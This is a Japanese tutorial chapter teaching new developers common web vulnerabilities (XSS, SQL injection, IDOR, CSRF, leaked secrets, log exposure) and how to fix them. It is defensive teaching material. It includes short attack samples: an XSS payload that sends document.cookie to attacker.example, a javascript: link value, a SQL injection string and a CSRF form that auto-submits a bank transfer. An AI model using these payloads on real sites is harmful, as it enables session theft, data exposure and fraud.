セキュリティ
読了目安 45 分
- XSS が起きるコードを見分けられる
- パラメータ化クエリを書ける
- 秘密情報をコミットしてしまった時の対処を知っている
セキュリティは「詳しい人が後でチェックしてくれるもの」ではありません。 書いた瞬間に混入するものです。
この章で扱うのは、専門家向けの高度な攻撃手法ではなく、 新人が実際に作り込んでしまう脆弱性です。どれも1行の書き方の違いで生まれます。
攻撃手法を説明しますが、自分が権限を持つ環境でのみ試してください。 他人のサービスに試すのは犯罪です。
理解する目的は、攻撃するためではなく、自分のコードに同じ穴がないか気づけるようになるためです。
原則: 入力を信じない
セキュリティの話は突き詰めると1行です。
外から来たデータは、すべて攻撃だと思って扱う。
「外から」には次が含まれます。
- ユーザーが入力したフォームの値
- URL のパラメータ
- リクエストヘッダ、Cookie
- 他のサービスから返ってきたデータ
- データベースに入っている値(誰かが入れたもの)
最後の2つを見落としがちです。「DB から取ったから安全」ではありません。 入れた時点で汚染されているかもしれません。
XSS — 他人のブラウザで JavaScript を動かされる
どう起きるか
ユーザーが入力した文字列を、そのまま HTML として画面に出すと起きます。
// 危険
element.innerHTML = `<p>${userInput}</p>`;ここで userInput がこういう値だったらどうなるでしょうか。
<img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">
画像の読み込みに失敗し、onerror が実行され、
そのページを見た人の Cookie が攻撃者に送られます。
掲示板や商品レビューに仕込めば、見た人全員が被害に遭います。
どう防ぐか
テキストとして出すなら、テキストとして出す API を使うだけです。
// 安全: HTML として解釈されない
element.textContent = userInput;React や Vue のようなフレームワークは、標準でエスケープしてくれます。
<p>{userInput}</p> {/* 安全 */}
<p dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危険 */}React がわざわざ長くて言いにくい名前にしているのは、 気軽に使わせないためです。
どうしても HTML を出す必要がある場合(リッチテキスト編集など)は、 DOMPurify のようなサニタイズライブラリを通してください。自作は避けます。
<a href={userInput}> も危険です。javascript:alert(1) のような値を入れられます。
リンク先にユーザー入力を使う時は、https:// か http:// で始まることを検証してください。
SQL インジェクション — データベースを乗っ取られる
どう起きるか
SQL を文字列結合で組み立てると起きます。
// 危険
const sql = `SELECT * FROM users WHERE email = '${email}'`;email にこう入力されたら:
' OR '1'='1
組み上がる SQL はこうなります。
SELECT * FROM users WHERE email = '' OR '1'='1'全ユーザーが返ります。 さらに悪意ある入力なら、テーブルの削除もできます。
どう防ぐか
パラメータ化クエリ(プレースホルダ)を使います。 これだけです。
// 安全
const sql = 'SELECT * FROM users WHERE email = ?';
db.query(sql, [email]);パラメータ化すると、値は「データ」として扱われ、SQL の一部として解釈されません。 何を入れられても構文にはなりません。
多くの ORM は安全ですが、生 SQL を書ける機能があります。
// ORM でも、ここで結合すれば同じ穴が開く
db.raw(`SELECT * FROM items WHERE name LIKE '%${keyword}%'`)文字列結合で SQL を作っている箇所を見たら、必ず疑ってください。 レビューで指摘すべき最重要ポイントの1つです。
検索機能で SQL インジェクションを防ぐ、正しい方法は?
認証と認可 — 混同すると他人のデータが見える
| 意味 | 失敗すると | |
|---|---|---|
| 認証(Authentication) | あなたが誰かを確かめる | ログインできない / 他人になりすまされる |
| 認可(Authorization) | あなたが何をしてよいかを決める | 他人のデータが見える・消せる |
新人が作り込みやすいのは認可の漏れです。
典型的な事故
// ログインは必須にした(認証OK)
app.get('/api/orders/:id', requireLogin, async (req, res) => {
const order = await db.getOrder(req.params.id);
res.json(order); // ← ここが問題
});このコードはログインさえしていれば、誰の注文でも見られます。
/api/orders/1 /api/orders/2 と順に叩けば、全ユーザーの注文が読めます。
これは IDOR(安全でない直接オブジェクト参照)と呼ばれ、 実際の情報漏洩事故で最も多い原因の1つです。
正しくは
app.get('/api/orders/:id', requireLogin, async (req, res) => {
const order = await db.getOrder(req.params.id);
// 「これは本当にこの人のものか」を必ず確認する
if (order.userId !== req.user.id) {
return res.status(404).end();
}
res.json(order);
});/orders/1 /orders/2 と順に叩けば全件取れてしまいます。
認可チェックが第一の防御ですが、ID を推測しにくい値(UUID など)にするのも 有効な多層防御です。第14章の Spanner の主キー設計とも繋がります。
「権限がない」と返すと、そのリソースが存在することは伝わってしまいます。
秘匿性が高い場面では、あえて 404(無い)を返して存在自体を隠します。 どちらにするかはチームの方針に従ってください。
ログイン必須の API で、URL の ID を書き換えると他人のデータが見えました。これは何の問題ですか。
CSRF — 意図しない操作をさせられる
ログイン中のユーザーに、別のサイトからリクエストを送らせる攻撃です。
<!-- 攻撃者のサイトに仕込まれたフォーム -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>Cookie は自動で送られるので、被害者がログイン中なら送金が成立してしまいます。
防ぎ方
| 方法 | 内容 |
|---|---|
| CSRF トークン | フォームに毎回異なる値を埋め、サーバーで照合する |
| SameSite Cookie | SameSite=Lax にすると別サイトからの POST で Cookie が送られない |
| 状態変更に GET を使わない | GET で更新できると、<img> タグだけで攻撃できる |
最近のブラウザは SameSite=Lax がデフォルトなので、以前より起きにくくなっています。
それでも明示的に設定するのが確実です。
秘密情報の扱い
コードに書かない
// 絶対にやってはいけない
const API_KEY = 'sk_live_51H8xY2...';環境変数から読みます。
const apiKey = process.env.STRIPE_API_KEY;.env ファイルは .gitignore に入れる、.env.example にはキー名だけ書く、が定石です。
コミットしてしまったら
Git は履歴を保持します。削除するコミットを追加しても、履歴から誰でも取り出せます。 公開リポジトリなら、数分で自動収集ボットに拾われます。
やることは順番が大事です。
- その鍵を無効化・再発行する(最優先) — これが唯一の本当の対処
- チームに報告する
- 履歴からの除去は影響が大きいので、必ず先輩と相談する
隠さないこと。 報告が遅れるほど被害が広がります。 「怒られる」より「漏れ続ける」方が何百倍も深刻です。
ログに出さない
// 危険: ログに個人情報や認証情報が残る
logger.info('login request', { email, password, creditCard });ログは長期間保存され、多くの人が見られる場所に集約されます。 パスワード・トークン・カード番号・個人情報はログに出さないのが原則です。
logger.info('request', req.body) のような書き方は、
中身に何が入っていても全部出してしまいます。
デバッグ中は便利ですが、そのまま本番に出すと事故になります。 出すフィールドを明示的に選ぶか、マスク処理を通してください。
依存ライブラリ
現代のアプリは、コードの大部分が他人の書いたライブラリです。
npm audit # 脆弱性のあるパッケージを検出
npm audit fix # 可能なものを自動更新多くのチームでは Dependabot などが自動で更新 PR を出します。 そういう PR が来たら放置せず、テストを通して取り込んでください。
- 最終更新はいつか(何年も止まっていないか)
- 週間ダウンロード数はどれくらいか
- 同じことが標準機能でできないか
「便利そうだから」で依存を増やすと、それが将来の脆弱性と保守コストになります。 新人のうちは、入れる前に先輩に一言相談するのが安全です。
HTTPS と証明書
第8章で扱った内容ですが、セキュリティの観点で再掲します。
- すべての通信を HTTPS にする。ログインページだけ、では不十分
- Cookie には
Secure(HTTPS のみ)とHttpOnly(JS から読めない)を付ける - 証明書の有効期限を監視する
新人が今日からできるチェックリスト
コードを書いたら、この5つを自分で確認してください。
- ユーザー入力を
innerHTMLに入れていないか - SQL を文字列結合で作っていないか
- 取得したデータが「その人のもの」か確認しているか
- 秘密情報をコードやログに書いていないか
- エラーメッセージに内部情報(SQL、パス、スタックトレース)を出していないか
最後の項目は見落としがちです。
Error: connection to db-primary.internal:5432 failed のようなメッセージを
ユーザーに返すと、内部構成のヒントを与えてしまいます。
ユーザーには一般的なメッセージ、詳細はサーバーログへが原則です。
実務の落とし穴まとめ
innerHTMLにユーザー入力 — XSS の主犯- SQL の文字列結合 — ORM でも生 SQL なら同じ
- 認可チェックの漏れ(IDOR) — 情報漏洩事故の最多原因
- 秘密情報のコミット — 消しても履歴に残る。まず鍵を無効化
- リクエスト全体をログ出力 — 個人情報が長期保存される
- エラーの詳細をユーザーに返す — 内部構成が漏れる
まとめ
- 外から来たデータはすべて疑う。DB の中身も「誰かが入れたもの」
- XSS は
textContentで防ぐ。innerHTML/dangerouslySetInnerHTMLは避ける - SQL インジェクションはパラメータ化クエリで防ぐ。自作エスケープはしない
- 認証と認可は別。「その人のデータか」を必ず確認する(IDOR)
- 秘密情報はコードにもログにも書かない。コミットしたらまず鍵を無効化して報告
- 依存ライブラリの更新 PR を放置しない
章末問題
API キーを誤ってコミットして push してしまいました。最初にやるべきことは?
商品レビュー機能で、ユーザーが書いた本文を画面に表示します。安全な実装は?
デバッグのため logger.info('request', req.body) と書きました。本番に出す前に考えるべきことは?
次の章では、セキュリティも含めて「他人が読めるコード」をどう書くかを扱います。